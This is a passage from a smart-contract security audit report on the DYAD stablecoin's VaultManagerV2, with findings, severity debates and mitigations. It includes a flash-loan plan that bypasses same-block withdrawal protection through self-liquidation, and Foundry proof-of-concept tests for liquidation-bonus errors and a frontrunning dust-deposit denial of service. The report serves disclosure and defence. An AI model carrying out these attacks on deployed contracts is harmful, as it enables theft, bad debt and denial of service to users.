The protocol implements a flash-loan manipulation protection mechanism with the `idToBlockOfLastDeposit` variable. This values is set to the current block number during a deposit, and is checked during a withdrawal. If the system detects a deposit and withdrawal in the same block, the system reverts the transaction.

```
//function deposit
idToBlockOfLastDeposit[id] = block.number;

//function withdraw
if (idToBlockOfLastDeposit[id] == block.number) revert
DepositedInSameBlock();
```

The issue is that there is another way to move funds around: liquidations. This calls the `move` function to transfer around the balances, and does not update the `idToBlockOfLastDeposit` of the receiving account.

```
function liquidate(
   uint id,
   uint to
 )
 {
   //...
   vault.move(id, to, collateral);
   //...
 }
```

So, a user can:

1. Take out a flashloan. Deposit funds into a vault A. Mint dyad.
2. Manipulate the price of kerosene to trigger a liquidation.
3. Liquidate themselves and send their collateral to vault B.
4. Withdraw from vault B in the same block.
5. Pay off their flashloans.

The step 2 involves manipulating the price of kerosene, which affects their collateralization ratio. This has been discussed in a separate issue, and mainly states that if the user mints more

dyad against free collateral in the system, or if any user takes out free collateral in the system, the price of kerosene will fall.

The flaw being discussed in this report is that the flash loan protection mechanism can be bypassed. This is different from the price manipulation issue and is thus a separate issue. Since this bypasses one of the primary safeguards in the system, this is a high severity issue.

Proof of Concept

The POC exploit setup requires 4 accounts: A, B, C and D:

- A is where the flashed funds will be deposited to.
- B is where the liquidated funds will be deposited to.
- C is for manipulating the kerosene price.
- D is for minting dyad at manipulated price to accrue bad debt in the system.

Where:

A is used to **inflate** the price of kerosene.
B is used to bypass the flash loan protection mechanism.
C is used to **deflate** the price of kerosene.
D is used to mint dyad at the **inflated** price, accruing bad debt in the system and damaging the protocol.

1. Assume C has 1 million usdc tokens with `0` debt. C inflates the price of kerosene up by contributing to TVL, and will be used later to push the price down.

2. Alice takes out a flashloan of 10 million usdc tokens. She deposits them in account A.

3. Due to the sudden added **massive** flashloaned TVL, the internal price of kerosene shoots up.

4. Alice uses account D to mint out dyad tokens at this condition. Alice can now mint out exactly as many dyad tokens as her exo collateral. This is allowed since the price of kerosene is inflated, which covers the collateralization ratio. Alice effectively has a CR of close to 1.0 but the system thinks it's 1.5 due to kerosene being overvalued. The system is still solvent at this point.

5. Alice buys kerosene from the market and adds it in account A and then mints dyad until account A has a CR of 1.5. The actual CR of A ignoring kerosene is close to 1.0.

6. Alice now removes collateral from account C. This reduces the price of C, making Account A liquidatable.

7. Alice now liquidates account A and sends the collateral to account B. This inflates the price of kerosene again since dyad supply has gone down, and she can repeat steps 5-6 multiple times since she can now mint more dyad tokens again.

8. Alice gets a large portion of her flashed funds into account B She withdraws them back out. This again drops the price of kerosene, allowing her to liquidate A more and and recover more of her funds into account B.

9. Alice pays back her flashloan.

10. Account D is now left with a CR close to 1.0, since the price of kerosene has now gone back to normal. Any price fluctuations in the exo collateral will now lead to bad debt.

This lets Alice open positions at a CR of close to 1.0. This is very dangerous in a CDP protocol, since Alice's risk is very low as she can sell off the minted dyad to recover her investment, but the protocol is now at a very risky position, close to accruing bad debt. Thus this is a high severity issue.

Recommended Mitigation Steps

The flashloan protection can be bypassed. MEV liquidation bots rely on flashloans to carryout liquidations, so there isn't a very good way to prevent this attack vector. Making the price of kerosene less manipulatable is a good way to lower this attack chance. However, the system will still be open to flashloan deposits via liquidations.

Incorporating a mint fee will also help mitigate this vector, since the attacker will have a higher cost to manipulate the system.

:

> *@carrotsmuggler - the attack assumes that kerosine is used within the CR. Could you please clarify how the attacker would acquire this big amount of kerosine?*

:

> *@Koolex - kerosene can just be bought off of DEXs and other open markets. In this attack, kerosene is not being flashloaned. Kerosene is just required as an initial investment. USDC is flashloaned, and dyad tokens are minted against that up to a CR of 1.5, which drops to 1.0 once the value of kerosene drops.*

> *The point of the issue is to show that the flashloan protection can be bypassed, which is being done here by utilising multiple accounts.*

:

> *@carrotsmuggler - I'm requesting a PoC (with code) in order to be able to evaluate the severity better. At the moment, the attack is too expensive since the attacker should hold a big amount of Kerosene, which practically difficult since Kerosene is being distributed over 10 years. Unless there is a demonstrated impact on the protocol, this would be a QA.*

:

> *The problem this issue addresses, is that the flash loan protection can be bypassed. For that, a POC is taken from the issue showing that self liquidation can be used to flash funds, manipulate the system, and then take them out in the same transaction.*
>
> *However, the main point of contention here seems to be the impact. Flashloans in general don't do anything a well funded attacker cannot do on their own, and not an exploit on their own. However, they can be used to exacerbate an existing problem by anyone, well funded or not.*
>
> *To eradicate this vector, and to make the system less manipulatable, the devs had put in certain restrictions. This issue shows that these restrictions are insufficient. So users can use flashloans and thus a near infinite amount of funds to manipulate the system. This was reported since the devs had explicitly put up a counter to this.*
>
> *Since this breaks the safeguards put in place by the devs and makes the system more easily manipulatable, I believe this is of medium severity. This can be used in but should not be a duplicate. This can also be abused to mint positions at 100% CR instead of 150% with a very large volume by anyone due to the flashloans, which makes the system way more unstable. Even small changes in price at that condition will be enough to cause bad debt to the system then.*
>
> ▶ Details

:

> *For the impact the sponsors stated quite clearly from the DYAD* Platform *audit page that the main point of migrating from* `vaultManagerV1` *to* `V2` *is the need for a flashloan protection mechanism, and the impact of the bypass is the ability to manipulate kerosene price which could lead to mass liquidations as discussed in separate issues:*
>
> > *Attack ideas (where to focus for bugs).*
> > *Manipulation of Kerosene Price.*
> > *Flash Loan attacks.*
> > *Migration.*
>
> > *The goal is to migrate from* `VaultManager` *to* `VaultManagerV2` *. The main reason is the need for a flash loan protection which makes it harder to manipulate the deterministic Kerosene price.*

:

> *After reading all the comments above, I believe this should be a valid high due to the following reasons:*
>
> - Flash loan protection can be bypassed, since this didn't exist in V1, it seems to me, it is a major change in V2.
> - Price manipulation impact is demonstrated above, which is caused by utilising Flash loans.
> - Flash loan attacks mentioned under Attack ideas of the audit page, obviously, the sponsor is interested in breaking this validation put in place.
> - Not a dup of
>
> - 67's attack is less accessible unlike with Flash loans where anyone can perform it.

- Furthermore, 67 isn't necessarily to be performed as an attack, the event could occur naturally when whales intend to withdraw funds.

Note: For full discussion, see .

Medium Risk Findings (9)

Submitted by also found by , , and

When a liquidator liquidates a user, he will pay his debt and must receive the `debt + 20% bonus` in form of collateral (from the user). But now the `20% bonus` is based on the user's (`collateral - debt`), which removes the entire incentive for liquidation.

Proof of Concept

From Docs:

Note: to view the provided image, please see the original submission

`liquidate()` will first check if the user with the supplied `id` is for liquidation, then take the user's debt to cover from `mintedDyad` and burn it from the liquidator's balance. From there, the calculation of the liquidation bonus begins.

Let's look at this example (same as in the test below):

- UserA will have `$135` collateral and `$100` debt.
- Liquidator assumes that he will receive the `$100 debt + 20% of $100 ($20) = $120` as collateral.

But it will actually calculate 20% of `(UserA collateral - UserA debt)` , which in this case would be `20% of $35 = $7` .

- `cappedCr` will be `1.35e18` .
- `liquidationEquityShare = (1.35e18 - 1e18) * 0.2e18 / 1e18 = 0.35e18 * 0.2e18 / 1e18 = 0.07e18` .

- `liquidationAssetShare = (0.07e18 + 1e18) * 1e18 / 1.35e18 ≈ 0.79e18 (107/135)`.

This `0.79e18`, or more precisely `107/135` is how much of user's collateral the liquidator will receive and that is `$135 * (107/135) = $107`.

As we can see for `$100 repaid` he will only get `$7 collateral` bonus collateral, which confirms our state that the `20%` bonus is based on `(UserA collateral - UserA debt)`.

```
function liquidate(
  uint id,
  uint to
)
  external
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
    dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

    uint cappedCr               = cr < 1e18 ? 1e18 : cr;
    uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
    uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr);

    uint numberOfVaults = vaults[id].length();
    for (uint i = 0; i < numberOfVaults; i++) {
        Vault vault      = Vault(vaults[id].at(i));
        uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
        vault.move(id, to, collateral);
    }
    emit Liquidate(id, msg.sender, to);
}
```

Coded POC

The test will cover the same as case we explained above.

In order to execute the test:

1. Add `virtual` to the setUp of `BaseTest` file.
2. Create new file and place the entire content there, then execute:

```
forge test --match-test test_can_exit_even_if_cr_low -vv



// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import {BaseTest} from "./BaseTest.sol";
import {IVaultManager} from "../src/interfaces/IVaultManager.sol";
import {VaultManagerV2} from "../src/core/VaultManagerV2.sol";
import {Vault} from "../src/core/Vault.sol";
import {ERC20} from "@solmate/src/tokens/ERC20.sol";
import {IAggregatorV3} from "../src/interfaces/IAggregatorV3.sol";
import {ERC20Mock} from "./ERC20Mock.sol";

contract VaultManagerV2Test is BaseTest {
    VaultManagerV2 vaultManagerV2;

    function setUp() public override {
        super.setUp();

        vaultManagerV2 = new VaultManagerV2(dNft, dyad, vaultLicenser);

        wethVault = new Vault(vaultManagerV2, ERC20(address(weth)),
IAggregatorV3(address(wethOracle)));

        vm.prank(vaultLicenser.owner());
        vaultLicenser.add(address(wethVault));

        vm.prank(vaultManagerLicenser.owner());
        vaultManagerLicenser.add(address(vaultManagerV2));
    }

    function mintDNFTAndDepositToWethVault(address user, uint256
amountAsset, uint256 amountDyad)
        public
        returns (uint256 nftId)
    {
        vm.deal(user, 2 ether);
        vm.startPrank(user);
        nftId = dNft.mintNft{value: 2 ether}(user);

        vaultManagerV2.add(nftId, address(wethVault));

        weth.mint(user, amountAsset);
        weth.approve(address(vaultManagerV2), amountAsset);

        vaultManagerV2.deposit(nftId, address(wethVault), amountAsset);
        vaultManagerV2.mintDyad(nftId, amountDyad, user);
        vm.stopPrank();
    }
```

```
    function test_liquidation_bonus_is_wrong() public {
        address liquidator = makeAddr("Liquidator");
        address alice = makeAddr("Alice");

        wethOracle.setPrice(1e8); // Using 1$ for weth for better
understanding
        uint256 liquidatorNft =
mintDNFTAndDepositToWethVault(liquidator, 2e18, 1e18);
        uint256 aliceNft = mintDNFTAndDepositToWethVault(alice, 1.5e18,
1e18);

        wethOracle.setPrice(0.9e8);
        assertEq(vaultManagerV2.collatRatio(aliceNft), 1.35e18);

        console.log("Liquidator collateral before liquidate Alice:",
vaultManagerV2.getNonKeroseneValue(liquidatorNft));
        vm.prank(liquidator);
        vaultManagerV2.liquidate(aliceNft, liquidatorNft);
        console.log("Liquidator collateral after liquidate Alice: ",
vaultManagerV2.getNonKeroseneValue(liquidatorNft));
        // The liquidator receives only 106.9999999 collateral in
return.
    }
}



Logs:
  Liquidator collateral before liquidate Alice: 1800000000000000000
  Liquidator collateral after liquidate Alice:  2869999999999999999
```

Recommended Mitigation Steps

The bonus should be based on the burned user debt and then must send the liquidator the percentage of liquidated user collateral equal to the `burned debt + 20% bonus`.

This is an example implementation, which gives the desired 20% bonus from the right amount, but need to be tested for further issues.

```
function liquidate(
  uint id,
  uint to
)
  external
    isValidDNft(id)
    isValidDNft(to)
  {
    uint cr = collatRatio(id);
+   uint userCollateral = getTotalUsdValue(id);
    if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
```

```
        dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

-       uint cappedCr               = cr < 1e18 ? 1e18 : cr;

+       uint liquidationEquityShare = 0;
+       uint liquidationAssetShare = 1e18;
+       if (cr >= 1.2e18) {
+         liquidationEquityShare = (dyad.mintedDyad(address(this),
id)).mulWadDown(LIQUIDATION_REWARD);
+         liquidationAssetShare  = (dyad.mintedDyad(address(this), id) +
liquidationEquityShare).divWadDown(userCollateral);
+       }

-       uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
-       uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr);

        uint numberOfVaults = vaults[id].length();
        for (uint i = 0; i < numberOfVaults; i++) {
            Vault vault      = Vault(vaults[id].at(i));
            uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
            vault.move(id, to, collateral);
        }
        emit Liquidate(id, msg.sender, to);
    }
```

Assessed type

Math

:

> *Technically true, but we are not gonna change that.*

Submitted by , also found by ,

, , , , ,

, , , , ,

and

Right now there are no incentives to liquidate a position with a `CR<1`, as the liquidator will have to burn the full borrowed amount, and will get the full collateral.

But a `CR<1` means collateral is worth less than borrowed amount. So this is a clear loss for the liquidator, meaning no one will liquidate the position.

```
File: src/core/VaultManagerV2.sol
205:   function liquidate(
206:     uint id, //The ID of the dNFT to be liquidated.
207:     uint to //The address where the collateral will be sent
208:   )
...:    // ... some code ...
215:❌     dyad.burn(id, msg.sender, dyad.mintedDyad(address(this),
id)); //<@audit: caller need to burn full borrowed amount
216:
217:       uint cappedCr               = cr < 1e18 ? 1e18 : cr; /// ==
max(1e18, cr)
218:       uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD); /// if cr<1, this is equal 0
219:       uint liquidationAssetShare  = (liquidationEquityShare +
1e18).divWadDown(cappedCr); /// if cr<1, this is equal 1e18
220:
221:       uint numberOfVaults = vaults[id].length();
222:       for (uint i = 0; i < numberOfVaults; i++) {
223:           Vault vault      = Vault(vaults[id].at(i));
224:           uint  collateral =
vault.id2asset(id).mulWadUp(liquidationAssetShare);
225:           vault.move(id, to, collateral);
226:       }
227:       emit Liquidate(id, msg.sender, to);
228:   }
```

Impact

If `CR<1`, position will not be liquidated, protocol possibly incurring worse bad debt than this could have been.

Recommended Mitigation Steps

Refactor the liquidation calculation, to allow liquidator to repay the debt and still get a reward out of this.

Assessed type

Context

:

> *If the* `CR < 100` *, where should the reward come from?*

:

> *Looks like a systematic risk. If CR drops below 100 before it gets liquidated, there is a much bigger problem.*

:

> *I don't think this is an unsolvable systemic issue, and this would be a mistake to not implement mechanism to take care underwater loans.*
>
> *This issue, and the remediations are well established in CDP protocols:*
>
> 1. If a loan CR is `<100%` , then it must be cut down as soon as possible to limit the even bigger potential losses.
> 2. To do so, the operation must be profitable for the liquidators so that they act quickly (which is not the case right now)
> 3. This will indeed create a bad debt into to protocol, but here's come the remediation.
> 4. That's why protocols like MakerDAO or other CDP build an "insurance fund" (usually through fees, that can come from liquiations) which role is to absorb bad debt in such events.

:

> *We will not implement something like an "insurance fund". Do you have another mitigation option?*

:

> *@shafu0x - I believe the other possibilities would be based on a debt socialization:*
>
> - Allow liquidator to burn only the DYAD equivalent of collateral.
> - Award Kerosene from the 1B total supply as a bonus to cover missing part of collateral.
>
> *But I feel like a fund/balance, generated by fees taken from "good" liquidation, to cover for these rare situations is still the best way to go.*

:

> *Upgrading this to Medium due to the following:*
>
> 1. The absence of a mechanism to allow liquidating bad debts (`CR < 1`) creates a potential risk for the protocol.
>
> 2. I couldn't find in the documentation/code that it is an accepted risk based on an intended design.
>
> > *award Kerosene from the 1B total supply as a bonus to cover missing part of collateral*
>
> *This seems to be a good starting point. LP will be incentivised to liquidate, in return, they receive Kerosene. Kerosene then can be sold in the secondary market or re-used to mint DYAD.*
>
> *However, consequences of this approach should be taken into account and addressed; for example, circulating Kerosene will increase which will influence the price.*

Submitted by , also found by , , , , , , , , and

Root Cause

The `setUnboundedKerosineVault` function was never called during deployment, nor was it planned to be called post deployment.

Impact

Without setting the `unboundedKerosineVault`, any attempt to get the asset price of a dNFT that has uses the bounded Kerosene vault will result in a revert.

Note Regarding Vault Licenser

`VaultManagerV2`'s `addKerosene()` erroneously does a vault license check using `keroseneManager.isLicensed(vault)` at making it impossible to add Kerosene vaults to Notes.

As clarified by the sponsor in this video, the vaults in `keroseneManager` are intended to be used for kerosene value calculation and kerosene vaults are not supposed to be added there. We updated the relevant Kerosene vault license checks to use `vaultLicenser.isLicensed(vault)` instead as it is aligned with the deployment script at since `unboundedKerosineVault` is added as a licensed vault with `vaultLicenser.add(address(unboundedKerosineVault))`

The two following code changes were made to `VaultManagerV2.sol` so that the unbounded kerosene vault can be added as a kerosene vault without further changes in the vaults, the vault manager, or the deployment script.

From:

```
if (!keroseneManager.isLicensed(vault))                revert
VaultNotLicensed();
```

To:

```
if (!vaultLicenser.isLicensed(vault))                  revert
VaultNotLicensed();
```

and

From:

```
if (keroseneManager.isLicensed(address(vault))) {
```

To:

```
if (vaultLicenser.isLicensed(address(vault))) {
```

Proof of Concept

The following test script demonstrates that the `getKeroseneValue` function reverts when the `unboundedKerosineVault` is not set during deployment.

```
forge t --mt test_boundedVaultValueRevert --fork-url <MAINNET_RPC_URL> -
vv
```

```
// SPDX-License-Identifier: MIT
pragma solidity =0.8.17;

import "forge-std/console.sol";
import "forge-std/Test.sol";

import {DeployV2, Contracts} from "../../script/deploy/Deploy.V2.s.sol";
import {Licenser} from "../../src/core/Licenser.sol";
import {Parameters} from "../../src/params/Parameters.sol";
import {WETH} from "../WETH.sol";
import {DNft} from "../../src/core/DNft.sol";

contract V2TestBoundedKeroseneVault is Test, Parameters {

  Contracts contracts;
```

```
  function setUp() public {
    contracts = new DeployV2().run();
  }

  function test_boundedVaultValueRevert() public {
    Licenser licenser = Licenser(MAINNET_VAULT_MANAGER_LICENSER);
    vm.prank(MAINNET_OWNER);
    licenser.add(address(contracts.vaultManager));

    address alice = makeAddr("alice");
    vm.prank(MAINNET_OWNER);
    uint aliceTokenId = DNft(MAINNET_DNFT).mintInsiderNft(alice);

    // drop 1000 eth into ethVault for initial TVL used for calculating
kerosene price
    vm.deal(address(contracts.ethVault), 1000 ether);
    vm.prank(address(contracts.ethVault));
    WETH(payable(MAINNET_WETH)).deposit{value: 1000 ether}();

    // add boundedKerosineVault as a licensed vault since it was
commented out in the deploy script
    vm.prank(MAINNET_OWNER);

contracts.vaultLicenser.add(address(contracts.boundedKerosineVault));

    // add boundedKerosineVault to kerosene vault
    vm.prank(alice);
    contracts.vaultManager.addKerosene(aliceTokenId,
address(contracts.boundedKerosineVault));

    // getKeroseneValue now reverts
    vm.expectRevert();
    contracts.vaultManager.getKeroseneValue(aliceTokenId);

    // set the unbounded kerosine vault for the bounded kerosine vault
    vm.prank(MAINNET_OWNER);

contracts.boundedKerosineVault.setUnboundedKerosineVault(contracts.unbou
ndedKerosineVault);

    // this is fine now
    contracts.vaultManager.getKeroseneValue(aliceTokenId);

  }
}
```

Recommended Mitigation Steps

Set the `unboundedKerosineVault` during deployment.

Changes to `DeployV2`

Call the `setUnboundedKerosineVault` function during deployment after deploying the bounded Kerosene vault at :

```
boundedKerosineVault.setUnboundedKerosineVault(unboundedKerosineVault);
```

:

> *Doesn't necessarily need to be called in the deployment script.*

:

> *While the sponsor comment is true, the documentation in the audit's README explicitly states:*
>
> .
>
> *This finding shows that this is, in fact, not the case and that the comments in the provided documentation suggest the team were unaware this would be an issue. Given the deploy script is within the scope of the audit, I believe this issue is a valid finding. If this issue had not been raised and the protocol had deployed as they previously outlined, users who deposit would have their funds stuck (due to both the* `withdraw` *and* `mintDyad` *functions reverting) until the DYAD team themselves worked out what the issue was and called the necessary function.*

:

> *The statement in README is about the migration from* `VaultManager` *to* `VaultManagerV2` *.*
>
> > *users who deposit would have their funds stuck (due to both the* `withdraw` *and* `mintDyad` *functions reverting).*

> *Not sure how the funds will be stuck if the* `UnboundedKerosineVault` *is not set.* `UnboundedKerosineVault` *is used in* `BoundedKerosineVault` *to retrieve the price. So, BoundedKerosineVault will not function till this is set. Furthermore, withdraw is disallowed in* `BoundedKerosineVault` *.*

:

> *@Koolex - Funds will be stuck because the value of all a users collateral is checked on withdraw (not just the collateral they're attempting to withdraw) in the* `collatRatio(id)` *call. Therefore, if they have added the bounded kerosene vault to their* `vaults` *, mapping the* `withdraw` *function will revert when attempting to calculate the value of their bounded kerosene.*

:

> *After reviewing README and the comments above again, because of:*
>
> 1. There is an impact (clarified already by the warden) that will make the protocol not function.
> 2. The statement in README.
>
> > *The whole migration is described in Deploy.V2.s.sol. The only transaction that needs to be done by the multi-sig after the deployment is licensing the new Vault Manager.*

Submitted by also found by , , , and

Bounded Kerosene is not attractive for liquidation. First of all bounded kerosene has twice the value of unbounded kerosene. For example, if 1 Kerosene is worth 10 usd in the unbounded vault then 0.5 Kerosen will be worth the same amount in a bounded vault.

Twice the valuation is justified for users and Liquidity Providers. The problem however, is if we take the perspective of a liquidator. If he liquidates a position that has a significant percentage of the position value in bounded Kerosene Vault. The liquidator will receive the amount locked in the bounded kerosene vault, **which he can't withdraw**; so the liquidator actually wouldn't be necessary be able to swap the kerosene against stable coins to make a profit, for example. He will also receive half the amount of kerosene if this was an unbounded kerosene Vault. This might not be clear, so we encourage the reader to see the following example to understand the need to rework liquidations for bounded kerosene vaults.

> *Please note that there is a bug in the* `liquidate()` *function and Kerosene Collateral are not sent to the liquidator. As I have confirmed with the sponsor, the protocol is intended to send the Kerosene Tokens to the liquidators alongside the seized Eth.*

Proof of Concept

As an example to show the huge disadvantage a liquidator will face when liquidating bounded kerosene vs unbounded kerosene vs exo collateral (like eth), let's take similar context but with different composition of collateral.

Collateral worth 1.4k and minted dyad is worth `1k usd: -> collRatio = 140 %` which is eligible for liquidation. The percentage of coll to seize is `100%+ 40%*20%)/140% => 77.14%` of collateral to seize.

For simplicity, let's say 1 unbounded kerosene Token is worth 100 usd and 1 bounded kerosene token is worth 200 usd (twice the asset price) in the vaults as **collateral** (however, the value of Kerosene outside the vaults in exchanges is gonna be near the 100 usd valuation).

The liquidator needs to pay down 1k dyads (1k usd).

	Bounded Kerosene	Unbounded Kerosene	Eth (no Kerosene)
Liquidation cost for liquidators	1k DYAD	1k	1k DYAD
Collateral composition	1k worth of eth + 2 kerosene Tokens	1k worth of eth + 4 kerosene Tokens	1.4k usd worth of eth

	Bounded Kerosene	Unbounded Kerosene	Eth (no Kerosene)
Seized coll	771 usd worth of eth + 1.54 Kerosene Token (not withdrawable)	771 usd worth of eth + 3.08 Kerosene Tokens(withdrawable)	1.08k usd worth of eth
USD worth of seized collateral	925 usd (154 usd value is locked, not tradable)	1.08k usd	1.08 k usd

Recommendation

Having twice the value for kerosene if locked, might make sense for Protocol user, this however, will result in problems for liquidators. We recommend the protocol to implement a solution that addresses the following issues:

- Liquidators of kerosene type collateral, should always be able to withdraw the token (whether seized from bounded or unbounded Vaults)
- When calculating the amount of tokens to seize (incentive), Kerosene tokens should be valued the same, for unbounded and bounded kerosene Vaults, so it would make economic sense for the liquidator

Assessed type

Context

:

> *Great find and description. Making liquidated kerosene unbounded is a good idea.*

:

> *@Koolex - I still think this is a high severity bug and for the following reasons:*
>
> - **Impact:** High -> Unprofitable liquidations always have a high impact.

- **Likeliness:** High -> Bounded Kerosene is a huge part of the new protocol update, and users are incentivized (2x Valuation) to lock their Kerosene Tokens in bounded Vaults; which would lead to a high likeliness of positions with bounded Kerosene Vaults in them becoming eligible for liquidation.

:

I'm unsure how this issue is in scope given it first requires speculating on how the sponsor will mitigate the underlying issue (that neither Kerosene type is handled during liquidations).

In fact, `KeroseneVault` *(inherited by bounded & unbounded vaults) has a* `move` *function which assumedly was supposed to be used to move Kerosene on liquidation meaning the liquidators would still receive bounded Kerosene.*

```
function move(
  uint from,
  uint to,
  uint amount
)
  external
    onlyVaultManager
{
  id2asset[from] -= amount;
  id2asset[to]   += amount;
  emit Move(from, to, amount);
}
```

The profitability of taking on `BoundedKerosene` *is a decision to be made by the liquidator, and given that the liquidator is expected to also own a Note nft rather than a traditional liquidation bot, it's likely they would also value owning bounded Kerosene.*

The issue basically boils down to the opinion that "liquidators don't want bounded Kerosene" and I don't think is our job to decide whether that's the case or not.

Additionally, the recommended mitigation of unlocking bounded Kerosene completely defeats the purpose of having bounded/unbounded kerosene and users would be able

> *to enjoy the benefits of 2x valued Kerosene as collateral, and then liquidate themselves when they wished to withdraw their "bounded" Kerosene.*

:

> *Leaving as Medium severity since it is explicitly known (by docs, code) that bounded can't be withdrawn. One could argue that, liquidators could be aware of this and choose not to liquidate. Furthermore, liquidators could liquidate to accumulate bounded kerosene to utilize in the protocol for enhancing the CR. So, it is not completely unprofitable.*

Note: For full discussion, see .

Submitted by , also found by , , , , , , , , , , , , , , , , Giorgio), , and

The DYAD protocol allows users to deposit as little as 1 WEI via the function; however, in order to mint the DYAD token the protocol requires user to have a collateral ratio of 150% or above. Liquidators liquidate users for the profit they can make. Currently, the DYAD protocol awards the value of the DYAD token burned (1 DYAD token is always equal to `$1` when calculated in the liquidate function) + 20% of the collateral left to the liquidator.

```
  function liquidate(uint id, uint to) external isValidDNft(id)
isValidDNft(to) {
      uint cr = collatRatio(id);
      if (cr >= MIN_COLLATERIZATION_RATIO) revert CrTooHigh();
      dyad.burn(id, msg.sender, dyad.mintedDyad(address(this), id));

      uint cappedCr = cr < 1e18 ? 1e18 : cr;
      uint liquidationEquityShare = (cappedCr -
1e18).mulWadDown(LIQUIDATION_REWARD);
```

```
        uint liquidationAssetShare = (liquidationEquityShare +
    1e18).divWadDown(cappedCr);

        uint numberOfVaults = vaults[id].length();
        for (uint i = 0; i < numberOfVaults; i++) {
            Vault vault = Vault(vaults[id].at(i));
            uint collateral =
    vault.id2asset(id).mulWadUp(liquidationAssetShare);
            vault.move(id, to, collateral);
        }
        emit Liquidate(id, msg.sender, to);
    }
```

If there is no profit to be made than there will be no one to call the liquidate function. Consider the following example:

- User A deposits collateral worth `$75`, and mint 50 DYAD tokens equal to `$50`. The collateral ratio is 75/50 = 150%.
- The price of the provided collateral drops, and now user A collateral is worth `$70`, `70/50 = 140%` collateral ratio. The position should be liquidated now, so the protocol doesn't become insolvent.
- We get the following calculation:
  - `cr` & `cappedCr` = 1.4e18.
  - `liquidationEquityShare = (1.4e18 - 1e18) * 0.2e18 = 80000000000000000 = 0.08e18`.
  - `liquidationAssetShare = (0.08e18 + 1e18) / 1.4e18 = 771428571428571428 ≈ 0.77e18`.
- The total amount of collateral the liquidator will receive is `70 * 0.77 = $53.9`.
- The dollar amount he spent for the DYAD token is `$50` (assuming no depegs) so the profit for the liquidator will be `$53.9 - $50 = $3.9`.

The protocol will be deployed on Ethereum where gas is expensive. Because the reward the liquidator will receive is low, after gas costs taking into account that most liquidators are bots, and they will have to acquire the DYAD token on an exchange, experience some slippage, swapping fees, and additional gas cost, the total cost to liquidate small positions outweighs the potential profit of liquidators. In the end, these low value accounts will never get liquidated, leaving the protocol with bad debt and can even cause the protocol to go underwater.

Depending on the gas prices at the time of liquidation (liquidity at DEXes can also be taken into account, as less liquidity leads to bigger slippage) positions in the range of `$150 - $200` can be unprofitable for liquidators. This attack can be beneficial to a whale, large competitor, or a group of people actively working together to bring down the stable coin. The incentive for them is there if they have shorted the DYAD token with substantial amount of money. The short gains will outweigh the losses they incur by opening said positions to grief the protocol. Also this is crypto, there have been numerous instances of prices dropping rapidly, and usually at that time gas prices are much higher compared to normal market conditions.

Note: The liquidation mechanism is extremely inefficient, as it requires bots to have a `note` in order to be able to liquidate a position; however, this is a separate issue, as even the inefficiency of the liquidation mechanism is fixed, small positions still won't be profitable enough for liquidators.

Recommended Mitigation Steps

Consider setting a minimum amount that users have to deposit before they can mint DYAD stable coin. Minimum amount of `$500-600` should be good enough.

Assessed type

Context

:

> *This is a known issue. We normally would just liquidate small position ourselves.*

Submitted by , also found by , ArmedGoose , , , , , , , , , , , Egis_Security , , , and

When removing a vault from a dNFT position, the vault must have no assets for that dNFT.

```
    function remove(
        uint    id,
```

```
        address vault
    )
      external
        isDNftOwner(id)
    {
      if (Vault(vault).id2asset(id) > 0) revert VaultHasAssets();
      ...
    }
```

```
    function removeKerosene(
        uint    id,
        address vault
    )
      external
        isDNftOwner(id)
    {
      if (Vault(vault).id2asset(id) > 0)     revert VaultHasAssets();
    }
```

However, since anyone can deposit into a dNFT, anyone can prevent a vault from being removed from a dNFT position by observing the call to `remove()` in the mempool, and frontrunning the transaction by depositing dust amounts to the dNFT.

Impact

Anyone can stop a vault from being removed from a dNFT position, at almost no cost.

If the victim has reached the max vault limit, they must remove a vault before adding a new one to their dNFT position. Therefore, this vulnerability may force them to mint a new dNFT to use new vaults.

Proof of Concept

Add to `test/fork/`.`

Run the test with `forge test --rpc-url https://eth-mainnet.g.alchemy.com/v2/<YOUR_KEY> --match-test "testDosRemoveVault" --fork-block-number 19693723 -vvv`

The PoC demonstrates Alice attempting to remove a vault from her dNFT position. She can do so as there are no assets in her position, but Bob stops her by frontrunning her call to `remove()`, depositing 1 wei of ether into her dNFT.

A snippet of the PoC is shown below:

```
  function testDosRemoveVault() public {
    // create DNFT for alice
    DNft dNft = DNft(MAINNET_DNFT);
    vm.deal(alice, 10 ether);
    vm.startPrank(alice);
    uint id = dNft.mintNft{value: 1 ether}(alice);
    // alice adds wstETH vault to her dNFT position
    contracts.vaultManager.add(id, address(contracts.wstEth));
    vm.stopPrank();

    vm.prank(contracts.vaultLicenser.owner());
    contracts.vaultLicenser.add(address(contracts.wstEth));

    // faucet some WSTETH
    uint AMOUNT = 10000e18;
    vm.prank(address(0x0B925eD163218f6662a35e0f0371Ac234f9E9371));
    IERC20Minimal(MAINNET_WSTETH).transfer(address(this), AMOUNT);
    // give bob some wsteth
    IERC20Minimal(MAINNET_WSTETH).transfer(bob, 1e18);

    // alice has no assets in her position, so she can remove her dNFT
    console.log("alice dNFT position wstETH assets:",
contracts.wstEth.id2asset(id));
    // alice wants to remove the wstETH vault from her dNFT position
    // however, bob wants to stop her from doing so.
    // so he frontruns her call to `remove()` by depositing 1 asset into
her dNFT
    vm.startPrank(bob);

IERC20Minimal(MAINNET_WSTETH).approve(address(contracts.vaultManager),
type(uint).max);
    contracts.vaultManager.deposit(id, address(contracts.wstEth), 1);
    vm.stopPrank();

    // now alice's transaction to `remove()` will revert due to having
assets
    vm.prank(alice);
    vm.expectRevert(VaultHasAssets.selector);
    contracts.vaultManager.remove(id, address(contracts.wstEth));

    console.log("alice dNFT position wstETH assets:",
contracts.wstEth.id2asset(id));
  }
```

Output:

```
Logs:
  alice dNFT position wstETH assets: 0
```

```
        alice dNFT position wstETH assets: 1
```

